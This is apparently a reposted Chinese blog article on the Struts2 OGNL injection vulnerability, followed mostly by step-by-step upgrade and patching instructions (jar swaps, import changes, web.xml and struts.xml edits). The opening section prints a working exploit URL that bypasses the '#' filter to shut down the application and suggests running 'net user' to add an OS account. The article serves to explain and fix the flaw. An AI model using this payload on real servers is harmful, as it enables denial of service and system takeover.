http://www.myexception.cn/software-architecture-design/1489099.html
struct2漏洞及升级
一、Struct2漏洞原理[转]
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http
的参数。它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek") ,action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参
数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,
修改保护Java方式执行的值。
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime
@getRuntime()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是:java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序
关闭类似的可以执行java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操
作系统用户在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以
执行任何DOS命令
二、升级structs2,修补漏洞
1、替换jar包
删除的包有:
commons-lang-2.2.jar
ognl-2.6.11.jar
struts2-codebehind-plugin-2.0.11.1.jar
struts2-core-2.0.11.1.jar
struts2-jasperreports-plugin-2.0.11.1.jar
struts2-spring-plugin-2.0.11.1.jar
xwork-2.0.4.jar
新增的包有:
commons-lang-2.4.jar
commons-lang3-3.1.jar
javassist-3.11.0.GA.jar
ognl-3.0.6.jar
struts2-core-2.3.15.1.jar
struts2-jasperreports-plugin-2.3.15.1.jar
struts2-spring-plugin- 2.3.15.1.jar
xwork-core-2.3.15.1.jar
二、替换代码
查找以下类
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.builder.ToStringBuilder;
import org.apache.commons.lang.builder.ToStringStyle;
import com.opensymphony.xwork2.util.TypeConversionException;
分别替换为
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.opensymphony.xwork2.conversion.TypeConversionException;
三、修改配置文件
Web.xml
删除配置
<filter>
<filter-name>struts-cleanup</filter-name>
<filter-class>org.apache.struts2.dispatcher.ActionContextCleanUp</filter-class>
</filter>
<filter-mapping>
<filter-name>struts-cleanup</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
ActionContextCleanUp在2.1.3之后的版本不需要配置
修改配置
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
替换为
< filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
FilterDispatcher是struts2.0.x至2.1.2的核心过滤器,StrutsPrepareAndExecuteFilter在2.1.3开始代替FilterDispatcher
struct2.xml
1、如果在struts配置文件中有使用的redirect-action话
需要将redirect-action替换为redirectAction
2、新版本关闭了动态方法调用,即”action名 + 感叹号 + 方法”的访问方式被关闭。如果要打开需要在struct2.xml加入以下配置,默认打开。<constant name="struts.enable.DynamicMethodInvocation" value="true" />但建议还是不打开,毕竟暴露方法名还是有一定危险性。
四、修改jsp页面
1、struts2.0.11起标签不再支持EL表达式
可通过myeclipse搜索工具输入<s:*${*}进行匹配搜索逐个修改,也可通过
自己写代码进行文本替换。
建议:由于s:if标签与c:if结构相似,可以考虑使用c:if代替,降低风险。
2、不支持java代码
如: <s:set name="xmjbflid" value="<%=java变量名%>"/>,可用c标签替换
<c:set var="xmjbflid" value="<%= java变量名%>"/>